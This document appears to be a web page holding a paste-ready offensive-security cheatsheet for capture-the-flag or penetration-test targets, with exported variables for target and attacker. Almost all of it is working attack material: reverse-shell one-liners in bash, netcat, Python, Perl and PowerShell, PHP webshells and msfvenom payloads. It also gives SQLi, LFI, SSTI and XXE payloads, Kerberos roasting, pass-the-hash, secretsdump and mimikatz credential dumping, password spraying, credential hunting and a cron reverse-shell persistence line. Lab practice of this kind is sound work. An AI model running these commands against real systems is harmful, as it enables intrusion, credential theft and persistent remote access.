Cheatsheet

Set the variables once, paste the export block, then every command below works as-is

vars: 32 commands: 125

Fill in what you know about the box. Copy the export block into a fresh terminal and the commands underneath paste straight in — no editing, no half-substituted IPs. Switch to values if you would rather copy a command with everything already filled in.

// variables

Values live in this browser only — nothing is sent anywhere, and they are still here next time you open the page.

target
attacker
creds

whatever you land first goes in slot 1 and moves up as you escalate

admin
wordlists

// paste this into a fresh terminal

export LPORT=4444export WORKDIR=.export USERLIST="$WORKDIR/users.txt"export PASSLIST="$WORKDIR/passwords.txt"export ROCKYOU=/usr/share/wordlists/rockyou.txtexport SECLISTS=/usr/share/seclists

nmap [6]

quick scan
nmap -sS -sV -sC -Pn -T4 -oN basic.txt -v $IP
full scan

every TCP port, then go back and fingerprint whatever answered

nmap -p- --min-rate 1000 -T4 -oN full.txt -v $IP
full scan, then services on the open ports
nmap -p- --min-rate 5000 -T4 -oA scans/all $IPnmap -sC -sV -p $(grep -oP '^\d+(?=/tcp\s+open)' scans/all.nmap | paste -sd,) -oA scans/svc $IP
UDP scan

slow. Start it in another tab and get on with the TCP results

nmap -sU -p- -T4 -oN udp.txt -v $IPnmap -sU --top-ports 100 -T4 -oA scans/udp $IP
port vuln scan
nmap -Pn -sC -sV --script=vuln*.nse $IP -T5 -A -v -p22 #Change port
/etc/hosts

do this before anything that needs the vhost to resolve, or Kerberos

echo "$IP $DOMAIN" | sudo tee -a /etc/hostsecho "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts

web [11]

quick checks
whatweb http://$IPcurl -sI http://$IPcurl -s http://$IP | head -100curl -u admin:admin http://$IP/
directory brute force
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt -t 50gobuster dir -u http://$IP -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip -t 50feroxbuster -u http://$IP -w $SECLISTS/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak -k
nikto
nikto -h http://$IP
common files

the whole list in one go — read the 200s, ignore the 404s

for p in robots.txt sitemap.xml .git/ .svn/ .env .htaccess backup/ admin/ phpinfo.php server-status .DS_Store web.config composer.json package.json wp-login.php; do  printf '%-20s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://$IP/$p)"done
exposed .git
wget -r http://$IP/.git/git-dumper http://$IP/.git/ dump/cd dump && git log --all --oneline && git diff HEAD~5
vhost fuzz (fuff)

raise -fs to the size of the default response if the box always answers

ffuf -u http://$IP -H "Host: FUZZ.$DOMAIN" -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt -fs 0
vhost brute force (gobuster)
gobuster vhost -u http://$IP --domain $DOMAIN -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt --append-domain
subdomain fuzz
ffuf -u http://FUZZ.$DOMAIN -w $SECLISTS/Discovery/DNS/subdomains-top1million-20000.txt -fs 0
parameter fuzz
ffuf -u "http://$DOMAIN/index.php?FUZZ=1" -w $SECLISTS/Discovery/Web-Content/burp-parameter-names.txt -fs 0
login brute force
hydra -l $USER1 -P $ROCKYOU $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"ffuf -u http://$IP/login.php -X POST -d "user=$USER1&pass=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -w $ROCKYOU -fr "Invalid"
build a wordlist off the site
cewl -d 2 -m 5 -w $PASSLIST http://$IPcurl -s http://$IP | grep -oE '[a-zA-Z]{5,}' | sort -u > site-words.txt

injection & payloads [8]

sqli — first probes
' OR 1=1-- -" OR "1"="1' UNION SELECT NULL,NULL,NULL-- -1' AND SLEEP(5)-- -
sqlmap
sqlmap -u "http://$IP/page.php?id=1" --batch --dbssqlmap -r request.txt --batch --dumpsqlmap -u "http://$IP/page.php?id=1" --batch --os-shell
lfi / path traversal
../../../../etc/passwd....//....//....//etc/passwdphp://filter/convert.base64-encode/resource=index.php/proc/self/environC:\Windows\System32\drivers\etc\hosts
lfi fuzz
ffuf -u "http://$IP/index.php?page=FUZZ" -w $SECLISTS/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0
command injection separators
; id| id|| id&& id`id`$(id)%0aid
ssti
{{7*7}}${7*7}<%= 7*7 %>{{config.items()}}{{''.__class__.__mro__[1].__subclasses__()}}
xxe
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]><r>&x;</r>
deserialisation / jwt
# jwt: swap alg to none, or crack the secretjwt_tool <token> -C -d $ROCKYOUhashcat -m 16500 jwt.txt $ROCKYOU

dns [3]

basics
dig any $DOMAIN @$IPdig axfr $DOMAIN @$IPhost -t ns $DOMAIN $IPnslookup $IP $IP
zone transfer
dnsrecon -d $DOMAIN -n $IP -afierce --domain $DOMAIN --dns-servers $IP
brute force
dnsenum --dnsserver $IP --enum -f $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt $DOMAIN

shells [10]

listener
rlwrap nc -lnvp $LPORTwhile true; do rlwrap nc -lnvp $LPORT; sleep 1; done
bash reverse shell
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
bash reverse shell — wrapped

for when the payload goes through a query string or a template

bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
other one-liners
nc -e /bin/bash $LHOST $LPORTrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $LHOST $LPORT >/tmp/fpython3 -c 'import socket,os,pty;s=socket.socket();s.connect(("$LHOST",$LPORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'perl -e 'use Socket;$i="$LHOST";$p=$LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
powershell reverse shell
powershell -nop -w hidden -c "$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);$s=$c.GetStream();$b=New-Object byte[] 65536;$e=New-Object System.Text.ASCIIEncoding;while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=$e.GetString($b,0,$i);$r=(iex $d 2>&1|Out-String)+'PS> ';$o=$e.GetBytes($r);$s.Write($o,0,$o.Length);$s.Flush()};$c.Close()"
msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f elf -o shell.elfmsfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT -f exe -o shell.exemsfvenom -p php/reverse_php LHOST=$LHOST LPORT=$LPORT -f raw -o shell.php
webshells
<?php system($_GET['c']); ?><?php echo shell_exec($_REQUEST['c']); ?>curl "http://$IP/shell.php?c=id"
upgrade to a real tty

Ctrl-Z between the first block and the second

python3 -c 'import pty;pty.spawn("/bin/bash")'
restore terminal
stty raw -echo; fg
set the environment
export TERM=xterm SHELL=/bin/bash

ftp [4]

anon login
ftp://anonymous:anonymous@$IPftp $IP
mirror everything
wget -m --no-passive ftp://anonymous:anonymous@$IP
with creds

binary before any transfer, or you will corrupt executables

ftp $IP# binary# prompt off# mget *
nmap scripts
nmap --script "ftp-*" -p 21 $IP

smb [8]

nxc is netexec, the maintained fork of crackmapexec — same flags, and `crackmapexec` still resolves on most boxes

with no creds
nbtscan $IPsmbmap -H $IPsmbmap -H $IP -u null -p nullsmbmap -H $IP -u guestsmbclient -N -L //$IPsmbclient -N //$IP/ --option="client min protocol"=LANMAN1rpcclient $IPrpcclient -U "" $IPnxc smb $IPnxc smb $IP --pass-pol -u "" -p ""nxc smb $IP --pass-pol -u "guest" -p ""impacket-GetADUsers -dc-ip $IP "$DOMAIN/" -allimpacket-GetNPUsers -dc-ip $IP -request "$DOMAIN/" -format hashcatimpacket-GetUserSPNs -dc-ip $IP -request "$DOMAIN/"impacket-getArch -target $IP
guest session

when guest authenticates but null does not — treat guest as a real credential and rerun everything with it

smbmap -H $IP -u guestnxc smb $IP -u guest -p ''nxc smb $IP -u guest -p '' --shares --pass-polsmbclient -L //$IP -U 'guest%'rpcclient -U 'guest%' $IP -c 'enumdomusers;querydominfo'enum4linux-ng -A -u guest -p '' $IP
with creds
smbmap -H $IP -u $USER1 -p $PASS1smbclient "//$IP/SHARE" -U "$DOMAIN/$USER1%$PASS1"smbclient "//$IP/SHARE" -U "$DOMAIN/$USER1" --pw-nt-hash $HASH1nxc smb $IP -u $USER1 -p $PASS1 --sharesimpacket-GetADUsers $DOMAIN/$USER1:$PASS1 -allimpacket-GetNPUsers $DOMAIN/$USER1:$PASS1 -request -format hashcatimpacket-GetUserSPNs $DOMAIN/$USER1:$PASS1 -request
after commands
enum4linux -a $IPenum4linux-ng -A $IPnmap --script 'smb-vuln*' -Pn -p 139,445 $IP
brute force

check the lockout policy first — --pass-pol above

hydra -t 1 -V -f -l $USER1 -P $ROCKYOU $IP smbnxc smb $IP -u $USERLIST -p $PASSLIST --continue-on-success
spider and pull a share

inventory before you download — a share can be three files or a 2 GB backup

nxc smb $IP -u $USER1 -p $PASS1 -M spider_plussmbclient "//$IP/SHARE" -U 'guest%' -c 'prompt OFF; recurse ON; mget *'smbclient "//$IP/SHARE" -U "$DOMAIN/$USER1%$PASS1" -c 'prompt OFF; recurse ON; mget *'smbget -R "smb://$IP/SHARE" -U $USER1sudo mount -t cifs "//$IP/SHARE" /mnt/smb -o user=$USER1,pass=$PASS1
loot a share once it is down
grep -rniE 'pass(word)?|pwd|cpassword|secret|api[_-]?key|ConvertTo-SecureString' .find . -type f \( -name '*.ps1' -o -name '*.bat' -o -name '*.vbs' -o -name '*.xml' \       -o -name '*.config' -o -name '*.kdbx' -o -name '*.vhdx' -o -name 'id_rsa*' \)find . -type f -exec file {} + | grep -viE 'ascii|utf-8|empty|directory'
serve a share back
impacket-smbserver share . -smb2support -user $USER1 -password $PASS1

active directory [15]

user enum with nothing
kerbrute userenum -d $DOMAIN --dc $DC $SECLISTS/Usernames/xato-net-10-million-usernames.txtnxc smb $DC -u '' -p '' --usersldapsearch -x -H "ldap://$DC" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')" "(objectClass=user)" sAMAccountName
rid brute

read on IPC$ is enough, so this works from a null or guest session on most DCs — usually the fastest way to a full user list

nxc smb $IP -u guest -p '' --rid-brute 10000nxc smb $IP -u '' -p '' --rid-brute 10000impacket-lookupsid guest@$IP -no-pass 10000impacket-lookupsid $DOMAIN/$USER1:$PASS1@$IP 10000
rid brute straight into the user list
impacket-lookupsid guest@$IP -no-pass 10000 \  | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u > $USERLISTwc -l $USERLIST
who is this and what is it called

Kerberos fails against a bare IP, so get the FQDN into hosts before roasting anything

nxc smb $IP -u guest -p ''echo "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts
AS-REP roast

users with pre-auth disabled — no creds needed

impacket-GetNPUsers $DOMAIN/ -usersfile $USERLIST -format hashcat -dc-ip $DC -outputfile asrep.txthashcat -m 18200 asrep.txt $ROCKYOU
kerberoast
nxc ldap $DC -u $USER1 -p $PASS1 --kerberoasting roast.txtimpacket-GetUserSPNs $DOMAIN/$USER1:$PASS1 -dc-ip $DC -request -outputfile roast.txthashcat -m 13100 roast.txt $ROCKYOU
bloodhound
bloodhound-python -d $DOMAIN -u $USER1 -p $PASS1 -dc $DC -ns $IP -c All --zipnxc ldap $DC -u $USER1 -p $PASS1 --bloodhound --collection All --dns-server $DC
bloodhound CE — install the docker stack

once per machine. The initial password is printed to the log the first time it comes up and nowhere else — grab it before you clear the terminal

install
sudo apt update && sudo apt install -y docker.io docker-compose-pluginsudo systemctl enable --now dockersudo usermod -aG docker $USER   # log out and back in for this to takemkdir -p ~/bloodhound && cd ~/bloodhoundcurl -L https://ghst.ly/getbhce -o docker-compose.ymldocker compose pulldocker compose up -ddocker compose logs bloodhound | grep -i "Initial Password"# http://localhost:8080/ui/login — admin + that password, then set your own
bloodhound CE — start it back up

already installed. It does not survive a reboot unless you bring it back yourself

start
cd ~/bloodhounddocker compose up -ddocker compose psdocker compose logs -f bloodhound   # ctrl-c once it says it is serving# http://localhost:8080/ui/login — then upload the .zip from the collectordocker compose stop                 # done for the day, data stays putdocker compose down -v              # wipe the graph and start clean
password spray
nxc smb $DC -u $USERLIST -p $PASS1 --continue-on-successkerbrute passwordspray -d $DOMAIN --dc $DC $USERLIST $PASS1
pass the hash
impacket-psexec -hashes :$ADMINH $DOMAIN/$ADMINU@$IPnxc smb $IP -u $ADMINU -H $ADMINHimpacket-wmiexec -hashes :$ADMINH $DOMAIN/$ADMINU@$IP
use a ticket

AUTH holds the .ccache path

export KRB5CCNAME=$ADMINAklistimpacket-psexec -k -no-pass $DOMAIN/$ADMINU@$DC
dump secrets
impacket-secretsdump $DOMAIN/$ADMINU:$ADMINP@$IPimpacket-secretsdump -just-dc-ntlm $DOMAIN/$ADMINU@$DC -hashes :$ADMINHnxc smb $IP -u $ADMINU -p $ADMINP --sam --lsa --ntds
shell in
evil-winrm -i $IP -u $ADMINU -p $ADMINPevil-winrm -i $IP -u $ADMINU -H $ADMINHimpacket-psexec $DOMAIN/$ADMINU:$ADMINP@$IP
certificates — ADCS
certipy find -u "$USER1@$DOMAIN" -p $PASS1 -dc-ip $DC -vulnerable -stdoutcertipy req -u "$USER1@$DOMAIN" -p $PASS1 -target $DC -ca CA-NAME -template Template -upn "$ADMINU@$DOMAIN"

other services [10]

snmp
onesixtyone $IP publicsnmpwalk -v2c -c public $IPsnmpbulkwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.2
nfs
showmount -e $IPsudo mount -t nfs "$IP:/export" /mnt/nfs -o nolock
ldap anonymous
ldapsearch -x -H "ldap://$IP" -s base namingcontextsldapsearch -x -H "ldap://$IP" -b "DC=$(echo $DOMAIN | sed 's/\./,DC=/g')"
rsync
rsync --list-only rsync://$IP/rsync -av "rsync://$IP/share" ./loot
redis
redis-cli -h $IPredis-cli -h $IP INFOredis-cli -h $IP --scan
mysql
mysql -h $IP -u $USER1 -p"$PASS1"mysql -h $IP -u $USER1 -p"$PASS1" -e "SHOW DATABASES;"
mssql
impacket-mssqlclient "$DOMAIN/$USER1:$PASS1@$IP" -windows-authnxc mssql $IP -u $USER1 -p $PASS1 -x whoami
postgres
psql "postgresql://$USER1:$PASS1@$IP:5432/postgres"
ssh
ssh $USER1@$IPssh -i id_rsa $USER1@$IPhydra -l $USER1 -P $ROCKYOU ssh://$IP -t 4
no idea what this port is
nc -nv $IP PORTopenssl s_client -connect $IP:PORTcurl -sv telnet://$IP:PORT

file transfer [6]

serve
python3 -m http.server 8000impacket-smbserver share . -smb2support
pull — linux
curl -sO http://$LHOST:8000/linpeas.sh || wget http://$LHOST:8000/linpeas.shcurl -sL http://$LHOST:8000/linpeas.sh | bash
pull — windows
powershell -c "iwr http://$LHOST:8000/nc.exe -OutFile C:\Windows\Temp\nc.exe"certutil -urlcache -f http://$LHOST:8000/nc.exe C:\Windows\Temp\nc.execopy \\$LHOST\share\nc.exe
netcat both ways
# receivernc -lvnp $LPORT > file# sendernc $LHOST $LPORT < file
base64 through a shell that has nothing else
# on the boxbase64 -w0 /path/to/file# locallyecho '<paste>' | base64 -d > file
scp
scp $USER1@$IP:/path/to/file .scp file $USER1@$IP:/tmp/

cracking [5]

identify it first
hashid '<hash>'hash-identifier
hashcat modes worth remembering
# 0 md5   100 sha1   1400 sha256   1800 sha512crypt   500 md5crypt# 1000 NTLM   3000 LM   5600 NetNTLMv2   13100 kerberoast   18200 AS-REP# 22000 WPA   13400 keepass   17200 zip   10000 django   3200 bcrypthashcat -m 1000 hashes.txt $ROCKYOUhashcat -m 1000 hashes.txt $ROCKYOU -r /usr/share/hashcat/rules/best64.rule
john
john --wordlist=$ROCKYOU hashes.txtjohn --show hashes.txt
turn a file into a hash
zip2john secret.zip > zip.hashkeepass2john db.kdbx > kdbx.hashssh2john id_rsa > key.hashpdf2john file.pdf > pdf.hashoffice2john doc.docx > office.hash
mutate a wordlist
hashcat --stdout $PASSLIST -r /usr/share/hashcat/rules/best64.rule > mutated.txtjohn --wordlist=$PASSLIST --rules --stdout > mutated.txt

privesc — linux [6]

the usual three
sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/
automate it
curl -sL http://$LHOST:8000/linpeas.sh | bash./pspy64
enumerate by hand
id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backupsgetcap -r / 2>/dev/nullss -tulpnps aux --sort=-%cpu | head -30cat /etc/passwd | grep -v nologin
hunt for passwords
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/nullcat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / -name "*.kdbx" -o -name ".env" -o -name "config.php" -o -name "id_rsa*" -o -name "*.pem" 2>/dev/nullenv; cat /proc/*/environ 2>/dev/null | strings | grep -i pass
containers
ls -la /.dockerenv /run/.containerenvcat /proc/1/cgroupmount | grep -i docker
persist
echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keysecho '* * * * * bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1' | crontab -

privesc — windows [6]

the usual three
whoami /privwhoami /allsysteminfo
automate it
.\winPEASx64.exepowershell -ep bypass -c "iex(iwr http://$LHOST:8000/PowerUp.ps1 -UseBasicParsing); Invoke-AllChecks"
services and scheduled tasks
wmic service get name,pathname,startmodeGet-Service | Where-Object {$_.Status -eq "Running"}schtasks /query /fo LIST /vaccesschk.exe -uwcqv "Everyone" *
hunt for passwords
Get-ChildItem C:\ -Include Unattend.xml,sysprep.xml,web.config -Recurse -EA 0reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"reg query HKLM /f password /t REG_SZ /scmdkey /listfindstr /si "password" *.xml *.ini *.txt *.config *.ps1 2>nulGet-ChildItem \\$DC\SYSVOL -Recurse -Include *.xml -EA 0 | Select-String cpassword
token abuse

SeImpersonate or SeAssignPrimaryToken means a potato

whoami /priv | findstr /i "impersonate assignprimary backup restore debug".\PrintSpoofer64.exe -i -c cmd.\GodPotato-NET4.exe -cmd "cmd /c whoami"
dump creds
reg save HKLM\SAM sam.hive; reg save HKLM\SYSTEM system.hiveimpacket-secretsdump -sam sam.hive -system system.hive LOCAL.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

pivoting [6]

ssh forwards
ssh -L 8080:127.0.0.1:80 $USER1@$IPssh -R 9001:127.0.0.1:9001 $USER1@$IPssh -D 1080 -N $USER1@$IP
chisel
./chisel server -p 8000 --reversechisel.exe client $LHOST:8000 R:1080:socks
ligolo-ng
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up./proxy -selfcert -laddr 0.0.0.0:11601./agent -connect $LHOST:11601 -ignore-cert
proxychains

socks5 127.0.0.1 1080 in /etc/proxychains4.conf

proxychains -q nxc smb $IP -u $USER1 -p $PASS1proxychains -q nmap -sT -Pn -n $IP
python forwarder fwd.py ↗

dependency-free TCP forwarder — listens on 0.0.0.0:9898 and pipes to lport, for a box with no chisel and no ssh

python3 fwd.py -lport 8080python3 fwd.py -lhost 127.0.0.1 -lport 3306 -rport 13306
scan from the box with nothing installed
for p in $(seq 1 1000); do (echo >/dev/tcp/127.0.0.1/$p) >/dev/null 2>&1 && echo "$p open"; done

files & forensics [6]

what is this
file suspiciousexiftool suspiciousstrings -n 8 suspicious | lessxxd suspicious | head -40
hidden data
binwalk -e suspicioussteghide info image.jpgsteghide extract -sf image.jpgzsteg -a image.pngstegseek image.jpg $ROCKYOU
archives
7z l archive.7z7z x archive.7zunzip -o archive.zipfcrackzip -u -D -p $ROCKYOU archive.zip
pcap
tshark -r capture.pcap -q -z io.phstshark -r capture.pcap -Y http.request -T fields -e http.host -e http.request.uritcpflow -r capture.pcap
encodings you will hit
echo 'aGVsbG8=' | base64 -decho '68656c6c6f' | xxd -r -pecho 'uryyb' | tr 'A-Za-z' 'N-ZA-Mn-za-m'python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" '%68i'
binaries
checksec --file=./binaryobjdump -d ./binary | lessltrace ./binary; strace ./binarygdb -q ./binary

text wrangling [11]

everything above spits out a wall of text. This is how you get the three fields you wanted out of it and into a file the next tool can read

cut — pull a field out

fastest thing that works when the delimiter is consistent. When it is not, reach for awk

cut -d: -f1 /etc/passwdcut -d: -f1,3,6 /etc/passwdcut -d, -f2 data.csvcut -c1-8 file.txtcut -d' ' -f2- file.txt
awk — pick a column, filter a row

whitespace-separated by default, so it copes with the ragged spacing every tool's output has

awk '{print $1}' access.logawk '{print $NF}' file.txtawk -F: '$3 >= 1000 {print $1}' /etc/passwdawk '/admin/ {print $1, $7}' access.logawk 'NR>1 {print}' with-header.csvawk '!seen[$0]++' file.txt
sed — edit the stream

-i writes in place. Leave it off until the output on screen is what you want

sed 's/old/new/g' file.txtsed -i 's/old/new/g' file.txtsed -n '5,10p' file.txtsed '/^#/d; /^$/d' config.confsed -n 's/.*NTLM:\(.*\)/\1/p' hashes.txt
sort & uniq — dedupe and count

uniq only collapses adjacent lines, so it is always sort first

sort -u file.txt -o file.txtsort file.txt | uniq -c | sort -rn | head -20sort -t: -k3 -n /etc/passwdcomm -12 <(sort a.txt) <(sort b.txt)comm -23 <(sort a.txt) <(sort b.txt)
grep — find it, then extract it

-o with -E is the one to remember — it prints the match rather than the line it was on

grep -rn --include='*.php' -iE 'password|secret|api_key' /var/www 2>/dev/nullgrep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -ugrep -oE '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+' file.txt | sort -ugrep -oP '(?<=href=")[^"]+' page.html | sort -ugrep -v '^#' config.conf | grep -v '^$'
tr — case, strip, squeeze
tr 'A-Z' 'a-z' < file.txttr -d '\r' < windows.txt > unix.txttr -s ' ' < ragged.txttr ',' '\n' < list.csvtr -cd '[:print:]\n' < binary-ish.txt
build the user list

the pipeline you will run on nearly every AD box — scrape names from wherever, land them in $USERLIST, then spray

impacket-lookupsid guest@$IP -no-pass 10000 \  | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u > $USERLISTawk -F: '$3 >= 1000 && $7 !~ /nologin|false/ {print $1}' passwd.txt >> $USERLISTsort -u -o $USERLIST $USERLISTwc -l $USERLIST
full names into usernames

feed it "John Smith" per line and try each shape — you do not know the convention until one authenticates

awk '{print tolower(substr($1,1,1) $2)}' names.txt > u-jsmith.txtawk '{print tolower($1 "." $2)}' names.txt > u-john.smith.txtawk '{print tolower($1 substr($2,1,1))}' names.txt > u-johns.txtcat u-*.txt | sort -u >> $USERLIST
jq — JSON
curl -s http://$IP/api/users | jq .jq -r '.[].username' users.jsonjq -r '.users[] | "\(.name):\(.password)"' dump.jsonjq -r 'keys[]' dump.json
xargs — run it for every line

-P runs them in parallel. Keep it low against anything with a lockout policy

xargs -a $USERLIST -I{} nxc smb $IP -u {} -p '' --continue-on-successxargs -a hosts.txt -P 20 -I{} sh -c 'ping -c1 -W1 {} >/dev/null && echo {} up'find . -name '*.conf' -print0 | xargs -0 grep -il password
line it up so you can read it
column -t -s: /etc/passwdcolumn -t ragged.txtpaste -sd, ports.txtdiff <(sort before.txt) <(sort after.txt)

misc [4]

check your IP (vpn)
ip addr show tun0
check the box's IP (externally)
curl ifconfig.me
add to the host file
echo "$IP $DOMAIN" | sudo tee -a /etc/hosts
add DC to the host file
echo "$IP $DC $DOMAIN" | sudo tee -a /etc/hosts